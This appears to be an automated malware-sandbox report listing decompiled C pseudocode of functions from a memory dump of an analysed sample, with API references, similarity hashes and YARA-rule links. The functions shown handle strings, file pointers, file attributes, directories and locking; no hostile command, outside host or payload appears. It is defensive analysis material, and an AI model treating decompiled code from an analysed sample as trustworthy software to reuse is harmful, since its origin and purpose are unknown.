0x00000000
0x00000000
0x0040314c
0x00403151
0x00000000
0x00000000
0x00403157
0x0040315f
0x00403162
0x00403165
0x00403168
0x00403168
0x00403168
0x0040316b
0x00403170
0x00000000
0x00000000
0x00403177
0x004031de
0x004031e0
0x004031e3
0x004031ec
0x004031f8
0x004031fe
0x00403204
0x00000000
0x00403127
0x00403127
0x00000000
0x00403127
0x00403204
0x00403179
0x00403186
0x00403188
0x00000000
0x00403220
0x0040318e
0x00403190
0x00403195
0x00000000
0x00000000
0x004031a1
0x004031a6
0x004031a9
0x004031ac
0x004031ac
0x004031b6
0x00000000
0x00000000
0x004031c3
0x004031c5
0x004031d6
0x004031d9
0x004031c7
0x004031c7
0x004031ca
0x004031cd
0x004031d0
0x004031d0
0x00000000
0x004031c5
0x00403224
0x00000000

APIs

lstrlenA.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,009D2650,00000000,?,00404E00,?,?,?,?,?), ref: 0040310D
lstrlenA.KERNEL32(009D2650,?,00000000,00000000,00000000,00000000,?,009D2650,00000000,?,00404E00,?,?,?,?,?), ref: 00403115
memmove.MSVCRT ref: 004031F8

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$memmove
String ID:
API String ID: 1832346882-0
Opcode ID: 5822003b85987e6036de6aec5d2bc904ab5e1e21d5ee4ecd78f4138bcaa71753
Instruction ID: 93814ce0f0a0d2477efb8002a8279e42b82102d5932b68c1d783b4d7f2fd7925
Opcode Fuzzy Hash: 5822003b85987e6036de6aec5d2bc904ab5e1e21d5ee4ecd78f4138bcaa71753
Instruction Fuzzy Hash: D5412871D04258AFCB14CFA9D8808EEBBB9FF48351F1480AAE815B7341D7789E46CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004075CF, Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E004075CF(intOrPtr* __ecx, void* __edx, void* __eflags) {
				void* _t8;
				int _t15;
				void* _t20;
				intOrPtr* _t24;
				signed int _t26;
				signed int _t27;

				_t20 = __edx;
				_t24 = __ecx;
				 *__ecx = 0x41ee80;
				E004147DF(_t8, __ecx + 0x3c);
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((intOrPtr*)(__ecx + 8)) = 0;
				 *((intOrPtr*)(__ecx + 0x10)) = 0;
				 *((intOrPtr*)(__ecx + 0xc)) = 0;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0x18;
				 *((intOrPtr*)(__ecx + 0x38)) = 0;
				_t26 =  *0x4228ac; // 0x280
				if(_t26 == 0) {
					_t27 =  *0x4228b0; // 0x1e0
					if(_t27 == 0) {
						GetSystemMetrics(0x10); // executed
						asm("cdq");
						 *0x4228ac = 0 - _t20 >> 1;
						_t15 = GetSystemMetrics(0x11);
						asm("cdq");
						 *0x4228b0 = _t15 - _t20 >> 1;
					}
				}
				return _t24;
			}

0x004075cf
0x004075d0
0x004075d5
0x004075db
0x004075e2
0x004075e5
0x004075e8
0x004075eb
0x004075ee
0x004075f5
0x004075f8
0x004075fe
0x00407600
0x00407606
0x00407611
0x00407613
0x0040761a
0x0040761f
0x00407621
0x00407626
0x0040762b
0x00407606
0x0040762f

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

KiUserCallbackDispatcher.NTDLL ref: 00407611
GetSystemMetrics.USER32 ref: 0040761F

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 145748454-0
Opcode ID: 80a77b5a3344e25ea2b7d0931445c3057c7d5eaafae3869ce9cddb487c245e27
Instruction ID: 6ce0d3d2a294cc817c3ed94d35c4e8eadf3e8454e0af582e39282335f7eac732
Opcode Fuzzy Hash: 80a77b5a3344e25ea2b7d0931445c3057c7d5eaafae3869ce9cddb487c245e27
Instruction Fuzzy Hash: 14F01DB0A00B019FD3B0EF7D9D00686BBE5BB48310B458A3FD596C3690E7B4E4468F59

Uniqueness

Uniqueness Score: -1.00%

Function 00413E3A, Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00413E3A(void** __ecx, long _a4, long _a8, long _a12, intOrPtr* _a16) {
				long _v8;
				long _t11;
				intOrPtr* _t13;
				void* _t14;
				long _t23;

				_push(__ecx);
				_v8 = _a8;
				_t11 = SetFilePointer( *__ecx, _a4,  &_v8, _a12); // executed
				_t23 = _t11;
				if(_t23 != 0xffffffff || GetLastError() == 0) {
					asm("adc edx, eax");
					_t13 = _a16;
					 *_t13 = 0 + _t23;
					 *((intOrPtr*)(_t13 + 4)) = _v8;
					_t14 = 1;
				} else {
					_t14 = 0;
				}
				return _t14;
			}

0x00413e3d
0x00413e47
0x00413e56
0x00413e5c
0x00413e61
0x00413e7a
0x00413e7c
0x00413e7f
0x00413e81
0x00413e84
0x00413e6d
0x00413e6d
0x00413e6d
0x00413e88

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00413E56
GetLastError.KERNEL32(?,?,?,?), ref: 00413E63

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 007787c2f3829a3ae304c77fe7b9cc5777807232d41288a06886aba40bf6d8ab
Instruction ID: e393e3b0b581c03f2e1373165af33d27313eb1f81299ccbe74c3423d21431cf3
Opcode Fuzzy Hash: 007787c2f3829a3ae304c77fe7b9cc5777807232d41288a06886aba40bf6d8ab
Instruction Fuzzy Hash: 27F03AB5A00318AF8F00CF68DC049DB7BE9AF49320B148169E816D73A1E635DE51EBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040706D, Relevance: 3.0, APIs: 2, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040706D(void** __ecx) {
				void* _t1;
				int _t3;
				long _t4;
				signed int* _t7;

				_t7 = __ecx;
				_t1 =  *__ecx;
				if(_t1 == 0) {
					L4:
					 *_t7 =  *_t7 & 0x00000000;
					return 0;
				}
				_t3 = FindCloseChangeNotification(_t1); // executed
				if(_t3 != 0) {
					goto L4;
				}
				_t4 = GetLastError();
				if(_t4 != 0) {
					return _t4;
				} else {
					return _t4 + 1;
				}
			}

0x0040706e
0x00407070
0x00407074
0x0040708e
0x0040708e
0x00000000
0x00407091
0x00407077
0x0040707f
0x00000000
0x00000000
0x00407081
0x00407089
0x00407094
0x0040708b
0x0040708d
0x0040708d

APIs

FindCloseChangeNotification.KERNELBASE ref: 00407077
GetLastError.KERNEL32 ref: 00407081

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: fcb9912ee9e400018ef209a841302b1aaf816a01443b7f738557e835576f0385
Instruction ID: 96f2dfdfe28989b5cd873708e3b39c2c89f49a9b4d101e1b90dfae413db12efb
Opcode Fuzzy Hash: fcb9912ee9e400018ef209a841302b1aaf816a01443b7f738557e835576f0385
Instruction Fuzzy Hash: B6D0C771B1C1115BEBB05F79FC0879372D9AF01751B25857BEC81D2240EB78DC41865A

Uniqueness

Uniqueness Score: -1.00%

Function 0041C172, Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

_onexit.KERNELBASE ref: 0041C17F
__dllonexit.MSVCRT ref: 0041C195

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: __dllonexit_onexit
String ID:
API String ID: 2384194067-0
Opcode ID: 3f6902fc8b7ba21d02d425c2127135aaf0fa078405c295ac591937e8f1ed3469
Instruction ID: d90210f8ed818c547b06286f749277b62e7de9e8c25a3e05c31bbee2e42e59a4
Opcode Fuzzy Hash: 3f6902fc8b7ba21d02d425c2127135aaf0fa078405c295ac591937e8f1ed3469
Instruction Fuzzy Hash: 8CC0C7745C6200F6D5212711FD055957611D650721BA1C366B0A9114E187394411B909

Uniqueness

Uniqueness Score: -1.00%

Function 00416C5F, Relevance: 2.6, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00416C5F(signed int _a4, intOrPtr _a8, intOrPtr _a12, signed int* _a16) {
				intOrPtr _t33;
				intOrPtr* _t34;
				void* _t35;
				intOrPtr _t36;
				intOrPtr* _t38;
				void* _t40;
				intOrPtr _t43;
				intOrPtr _t48;
				signed int* _t49;
				intOrPtr _t50;
				struct _CRITICAL_SECTION* _t56;
				signed int _t57;

				_t57 = _a4;
				_t56 =  *((intOrPtr*)(_t57 + 8)) + 0x18;
				EnterCriticalSection(_t56);
				_t33 =  *((intOrPtr*)(_t57 + 8));
				_t43 =  *((intOrPtr*)(_t57 + 0x10));
				_t50 =  *((intOrPtr*)(_t57 + 0x14));
				if(_t43 !=  *((intOrPtr*)(_t33 + 0x10)) || _t50 !=  *((intOrPtr*)(_t33 + 0x14))) {
					_t34 =  *((intOrPtr*)(_t33 + 8));
					_t35 =  *((intOrPtr*)( *_t34 + 0x10))(_t34, _t43, _t50, 0, 0, _t40);
					if(_t35 == 0) {
						_t36 =  *((intOrPtr*)(_t57 + 8));
						 *((intOrPtr*)(_t36 + 0x10)) =  *((intOrPtr*)(_t57 + 0x10));
						 *((intOrPtr*)(_t36 + 0x14)) =  *((intOrPtr*)(_t57 + 0x14));
						goto L5;
					}
					goto L3;
				} else {
					L5:
					_a4 = _a4 & 0x00000000;
					_t38 =  *((intOrPtr*)( *((intOrPtr*)(_t57 + 8)) + 8));
					_t35 =  *((intOrPtr*)( *_t38 + 0xc))(_t38, _a8, _a12,  &_a4);
					 *((intOrPtr*)(_t57 + 0x10)) =  *((intOrPtr*)(_t57 + 0x10)) + _a4;
					_t48 =  *((intOrPtr*)(_t57 + 8));
					asm("adc dword [esi+0x14], 0x0");
					 *((intOrPtr*)(_t48 + 0x10)) =  *((intOrPtr*)(_t57 + 0x10));
					 *((intOrPtr*)(_t48 + 0x14)) =  *((intOrPtr*)(_t57 + 0x14));
					_t49 = _a16;
					if(_t49 != 0) {
						 *_t49 = _a4;
					}
					L3:
					LeaveCriticalSection(_t56);
					return _t35;
				}
			}

0x00416c63
0x00416c6a
0x00416c6e
0x00416c74
0x00416c77
0x00416c7a
0x00416c80
0x00416c87
0x00416c94
0x00416c9a
0x00416cb0
0x00416cb3
0x00416cb9
0x00000000
0x00416cb9
0x00000000
0x00416cbc
0x00416cbc
0x00416cbc
0x00416cc3
0x00416cd3
0x00416cd9
0x00416cdc
0x00416ce2
0x00416ce6
0x00416cec
0x00416cef
0x00416cf4
0x00416cf9
0x00416cf9
0x00416c9c
0x00416c9f
0x00416caa
0x00416caa

APIs

EnterCriticalSection.KERNEL32(?), ref: 00416C6E
LeaveCriticalSection.KERNEL32(?), ref: 00416C9F

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 80b0caaff10c416497a586019b2a9d69b27888ac1aed855ea2cae2a1bb9cdcd0
Instruction ID: 4f6a01db9a79f93195a0f3714a2cbc373184e23470928e7da344a92c66c74959
Opcode Fuzzy Hash: 80b0caaff10c416497a586019b2a9d69b27888ac1aed855ea2cae2a1bb9cdcd0
Instruction Fuzzy Hash: AD2116752007009FCB28CF55D884EA7B7B9FF88314B158A5DE89A8B761D371F841CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00418B0C, Relevance: 1.6, APIs: 1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00418B0C() {
				intOrPtr* _t47;
				intOrPtr* _t48;
				intOrPtr* _t49;
				intOrPtr* _t50;
				intOrPtr* _t56;
				intOrPtr* _t57;
				void* _t66;
				intOrPtr* _t67;
				void* _t78;
				intOrPtr* _t80;
				void* _t82;
				intOrPtr* _t83;
				void* _t85;
				void* _t87;

				L0041C1F0();
				 *((intOrPtr*)(_t85 - 0x10)) = _t87 - 0x88;
				 *(_t85 - 4) = 0;
				_t83 =  *((intOrPtr*)(_t85 + 8));
				 *((intOrPtr*)( *_t83 + 0x10))(_t83, _t78, _t82, _t66);
				 *(_t85 - 4) = 1;
				_t67 =  *((intOrPtr*)(_t85 + 0x14));
				if(_t67 != 0) {
					 *((intOrPtr*)( *_t67 + 4))(_t67);
				}
				 *((intOrPtr*)(_t85 + 0x14)) = 0;
				_t91 = _t67;
				if(_t67 != 0) {
					 *((intOrPtr*)( *_t67))(_t67, 0x41d530, _t85 + 0x14);
				}
				 *((intOrPtr*)(_t85 - 0x94)) = 0;
				 *((intOrPtr*)(_t85 - 0x90)) = 0;
				 *((char*)(_t85 - 0x1c)) = 1;
				 *((char*)(_t83 + 0x140)) = 0;
				_push( *((intOrPtr*)(_t85 + 0x10)));
				_t80 = E00419788(_t85 - 0x94, _t91,  *((intOrPtr*)(_t85 + 0xc)));
				if(_t80 == 0) {
					 *((char*)(_t83 + 0x140)) = 1;
					_push(_t83 + 0x14c);
					_push(_t83 + 0x149);
					_push(_t83 + 0x148);
					_push( *((intOrPtr*)(_t85 + 0x14)));
					_push(_t83 + 0x10);
					_t47 = E0041B0DD(_t85 - 0x94); // executed
					_t80 = _t47;
					__eflags = _t80;
					if(_t80 != 0) {
						goto L5;
					} else {
						E004160A2(_t83 + 0xc,  *((intOrPtr*)(_t85 + 0xc)));
						_t56 =  *((intOrPtr*)(_t85 - 0x94));
						__eflags = _t56;
						if(_t56 != 0) {
							 *((intOrPtr*)( *_t56 + 8))(_t56);
						}
						_t57 =  *((intOrPtr*)(_t85 + 0x14));
						__eflags = _t57;
						if(_t57 != 0) {
							 *((intOrPtr*)( *_t57 + 8))(_t57);
						}
						__eflags = _t67;
						if(_t67 != 0) {
							 *((intOrPtr*)( *_t67 + 8))(_t67);
						}
						 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
						_t50 = 0;
					}
				} else {
					L5:
					_t48 =  *((intOrPtr*)(_t85 - 0x94));
					if(_t48 != 0) {
						 *((intOrPtr*)( *_t48 + 8))(_t48);
					}
					_t49 =  *((intOrPtr*)(_t85 + 0x14));
					if(_t49 != 0) {
						 *((intOrPtr*)( *_t49 + 8))(_t49);
					}
					if(_t67 != 0) {
						 *((intOrPtr*)( *_t67 + 8))(_t67);
					}
					_t50 = _t80;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t85 - 0xc));
				return _t50;
			}

0x00418b11
0x00418b1f
0x00418b24
0x00418b27
0x00418b2d
0x00418b30
0x00418b34
0x00418b39
0x00418b3e
0x00418b3e
0x00418b41
0x00418b44
0x00418b46
0x00418b54
0x00418b54
0x00418b56
0x00418b5c
0x00418b62
0x00418b66
0x00418b6d
0x00418b7e
0x00418b82
0x00418bb2
0x00418bbf
0x00418bc6
0x00418bcd
0x00418bce
0x00418bd4
0x00418bdb
0x00418be0
0x00418be2
0x00418be4
0x00000000
0x00418be6
0x00418bec
0x00418bf1
0x00418bf7
0x00418bf9
0x00418bfe
0x00418bfe
0x00418c01
0x00418c04
0x00418c06
0x00418c0b
0x00418c0b
0x00418c0e
0x00418c10
0x00418c15
0x00418c15
0x00418c18
0x00418c1c
0x00418c1c
0x00418b84
0x00418b84
0x00418b84
0x00418b8c
0x00418b91
0x00418b91
0x00418b94
0x00418b99
0x00418b9e
0x00418b9e
0x00418ba3
0x00418ba8
0x00418ba8
0x00418bab
0x00418bab
0x00418c42
0x00418c4d

APIs

_EH_prolog.MSVCRT ref: 00418B11

Part of subcall function 0041B0DD: _EH_prolog.MSVCRT ref: 0041B0E2

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: b48e2961efca33cdc268dc06a9db708dae6e35986a8212076dca9429ba69aabe
Instruction ID: 224d0b28c9c96a8b720adceb05dc78df915ef04c78251989e0adf3722648e023
Opcode Fuzzy Hash: b48e2961efca33cdc268dc06a9db708dae6e35986a8212076dca9429ba69aabe
Instruction Fuzzy Hash: CC418871600609AFCB21CF64C884BDBB7B9AF44304F0444AEF84ADB251DB39ED81CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00405319, Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00405319(intOrPtr __ecx, char __edx, void* __eflags, intOrPtr* _a4) {
				char _v8;
				intOrPtr* _v16;
				char _v20;
				void* _t11;
				void* _t15;
				intOrPtr _t19;
				void* _t34;

				_t34 = __eflags;
				_v8 = __edx;
				E004143C2(_t11,  &_v20);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ecx);
				 *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 0x10))();
				_t15 = E00404D7F(__ecx,  &_v20, _t34); // executed
				if(_t15 != 0 || _v8 != 0) {
					__eflags = _v16;
					if(__eflags == 0) {
						L8:
						_t25 = _a4;
						__eflags = _a4;
						if(_a4 != 0) {
							E0041447C(_t25,  &_v20);
						}
						goto L4;
					}
					_t19 = E0040502A( &_v20, 0, __eflags);
					__eflags = _t19;
					if(_t19 != 0) {
						goto L8;
					}
					_push(4);
					goto L3;
				} else {
					_push(9);
					_push(0);
					E00409684( &_v20);
					_push(3);
					L3:
					_pop(0);
					L4:
					_push(_v20);
					L0041C160();
					return 0;
				}
			}

0x00405319
0x00405326
0x00405329
0x00405332
0x00405333
0x00405334
0x00405335
0x00405336
0x00405337
0x0040533f
0x00405346
0x0040536b
0x0040536e
0x00405382
0x00405382
0x00405385
0x00405387
0x0040538d
0x0040538d
0x00000000
0x00405387
0x00405375
0x0040537a
0x0040537c
0x00000000
0x00000000
0x0040537e
0x00000000
0x0040534d
0x0040534d
0x0040534f
0x00405350
0x00405357
0x00405359
0x00405359
0x0040535a
0x0040535a
0x0040535d
0x00405368
0x00405368

APIs

Part of subcall function 004143C2: ??2@YAPAXI@Z.MSVCRT ref: 004143CA

Part of subcall function 00404D7F: ??3@YAXPAX@Z.MSVCRT ref: 00404EF2
Part of subcall function 00404D7F: ??3@YAXPAX@Z.MSVCRT ref: 00404EFA
Part of subcall function 00404D7F: ??3@YAXPAX@Z.MSVCRT ref: 00404F02

??3@YAXPAX@Z.MSVCRT ref: 0040535D

Part of subcall function 00409684: wvsprintfW.USER32(?,00000000,?), ref: 004096A7
Part of subcall function 00409684: GetLastError.KERNEL32 ref: 004096B8
Part of subcall function 00409684: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,009D2650), ref: 004096E0
Part of subcall function 00409684: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,009D2650), ref: 004096F5
Part of subcall function 00409684: lstrlenW.KERNEL32(?), ref: 00409708
Part of subcall function 00409684: lstrlenW.KERNEL32(?), ref: 0040970F
Part of subcall function 00409684: ??2@YAPAXI@Z.MSVCRT ref: 00409724
Part of subcall function 00409684: lstrcpyW.KERNEL32(00000000,?), ref: 0040973A
Part of subcall function 00409684: lstrcpyW.KERNEL32(-00000002,?), ref: 0040974C
Part of subcall function 00409684: ??3@YAXPAX@Z.MSVCRT ref: 00409756
Part of subcall function 00409684: LocalFree.KERNEL32(?), ref: 0040975F

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@FormatMessagelstrcpylstrlen$ErrorFreeLastLocalwvsprintf
String ID:
API String ID: 3247304187-0
Opcode ID: 93f40d67aa109313e1a451737b83f3a12af517dae8df780da4187817142a4ad6
Instruction ID: d99cd7d07d450def43454dd97523081ea0e1bff39705ecaa915bff4ace688a24
Opcode Fuzzy Hash: 93f40d67aa109313e1a451737b83f3a12af517dae8df780da4187817142a4ad6
Instruction Fuzzy Hash: FA01D271604608AEEF14AAA49CC19BF7368EB10388F04447FF911371C2DAB95E048A9C

Uniqueness

Uniqueness Score: -1.00%

Function 0041B0DD, Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0041B0DD(signed int __ecx) {
				void* _t17;
				signed int _t26;
				void* _t31;
				intOrPtr _t33;

				_t23 = __ecx;
				L0041C1F0();
				_push(__ecx);
				 *((intOrPtr*)(_t31 - 0x10)) = _t33;
				 *(_t31 - 4) =  *(_t31 - 4) & 0x00000000;
				_t26 =  *((intOrPtr*)(_t31 + 8));
				_t17 = E0041AE02(__ecx, _t26,  *((intOrPtr*)(_t31 + 0xc)),  *((intOrPtr*)(_t31 + 0x10)),  *((intOrPtr*)(_t31 + 0x14)),  *((intOrPtr*)(_t31 + 0x18))); // executed
				if( *((char*)(__ecx + 0x3c)) != 0) {
					 *((char*)(_t26 + 0x132)) = 1;
				}
				if(_t17 != 0x80004001) {
					 *[fs:0x0] =  *((intOrPtr*)(_t31 - 0xc));
					return _t17;
				} else {
					E00418E04(_t23);
					 *((char*)( *((intOrPtr*)(_t31 + 8)) + 0x136)) = 1;
					 *(_t31 - 4) =  *(_t31 - 4) | 0xffffffff;
					return E0041B136;
				}
			}

0x0041b0dd
0x0041b0e2
0x0041b0e7
0x0041b0eb
0x0041b0f0
0x0041b100
0x0041b104
0x0041b10d
0x0041b10f
0x0041b10f
0x0041b11b
0x0041b13c
0x0041b147
0x0041b11d
0x0041b11d
0x0041b125
0x0041b12c
0x0041b135
0x0041b135

APIs

_EH_prolog.MSVCRT ref: 0041B0E2

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 667eae066e17802bf22880d5056c4320b86ac6ca1fb471da5ead366e8fa87735
Instruction ID: 7f33fe341473cbd1ce67957057ba73322e56dc0cdd0527969264fce869e679db
Opcode Fuzzy Hash: 667eae066e17802bf22880d5056c4320b86ac6ca1fb471da5ead366e8fa87735
Instruction Fuzzy Hash: 25F0FF32540248BFDB21CF58C986BDEBBB1EB00368F08855EF80592261C3799990CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402616, Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402616(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t13;
				signed int _t14;
				intOrPtr _t25;

				_t13 = _a8;
				if(_t13 == 0) {
					_t25 = _a4;
					if( *(_t25 + 0x20) != 0) {
						E00413F01(_t25 + 0x38);
					}
					_t14 =  *(_t25 + 0x20);
					if(_t14 != 0) {
						 *((intOrPtr*)( *_t14 + 8))(_t14);
						 *(_t25 + 0x20) =  *(_t25 + 0x20) & 0x00000000;
					}
					if( *((intOrPtr*)(_t25 + 0x18)) != 0) {
						SetFileAttributesW( *(_t25 + 0x24),  *(_t25 + 0x44)); // executed
					}
					return 0;
				}
				 *0x422728 = _t13;
				return 0x80004005;
			}

0x00402616
0x0040261c
0x0040262b
0x00402633
0x0040263f
0x0040263f
0x00402644
0x00402649
0x0040264e
0x00402651
0x00402651
0x00402659
0x00402661
0x00402661
0x00000000
0x00402669
0x0040261e
0x00000000

APIs

SetFileAttributesW.KERNELBASE(?,?), ref: 00402661

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a28be809fa9ab79a0897c62f78f4a26379a6b73b8bf55d8bc806f67d25aeb99a
Instruction ID: 6cf0ddfa01fcbce09b7e389e4c5c56029533664a16282a392a40bbe03859dc31
Opcode Fuzzy Hash: a28be809fa9ab79a0897c62f78f4a26379a6b73b8bf55d8bc806f67d25aeb99a
Instruction Fuzzy Hash: 23F017316046019BD721DF64C948B53B7F5FF48305F04492EE08BA66E0D7BAE886CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0040718C, Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040718C(void* __ecx) {
				void* _t19;

				_t19 = __ecx;
				SetCurrentDirectoryW( *0x422794);
				if( *(_t19 + 8) != 0) {
					if(E0040712A(_t19 + 4, 0x422794) != 0) {
						E00403442( *((intOrPtr*)(_t19 + 4))); // executed
					}
				}
				 *(_t19 + 8) =  *(_t19 + 8) & 0x00000000;
				 *((short*)( *((intOrPtr*)(_t19 + 4)))) = 0;
				return 1;
			}

0x00407193
0x00407195
0x0040719f
0x004071b1
0x004071b6
0x004071b6
0x004071bb
0x004071bf
0x004071c5
0x004071cb

APIs

SetCurrentDirectoryW.KERNEL32(?,004053CB), ref: 00407195

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 1b86b683d1204c80f4bc069df8611068fcd3da55cbb99587d61432dcfdc45cc9
Instruction ID: 2dc04110ffb4e7feca1f3384c1cf79cff5bfc7cba108bf25bc6aeaedd3b4d0c4
Opcode Fuzzy Hash: 1b86b683d1204c80f4bc069df8611068fcd3da55cbb99587d61432dcfdc45cc9
Instruction Fuzzy Hash: 93E0923010871087C3249B15EA45653B7A19F51704F00C43EE45A5B7E0CB78AC46CA18

Uniqueness

Uniqueness Score: -1.00%

Function 00413F11, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00413F11(void** __ecx, void* _a4, long _a8, intOrPtr* _a12) {
				long _v8;
				long _t12;
				signed int _t14;
				void** _t16;

				_t16 = __ecx;
				_push(__ecx);
				_t12 =  *0x422638; // 0x400000
				if(_a8 > _t12) {
					_a8 = _t12;
				}
				_v8 = _v8 & 0x00000000;
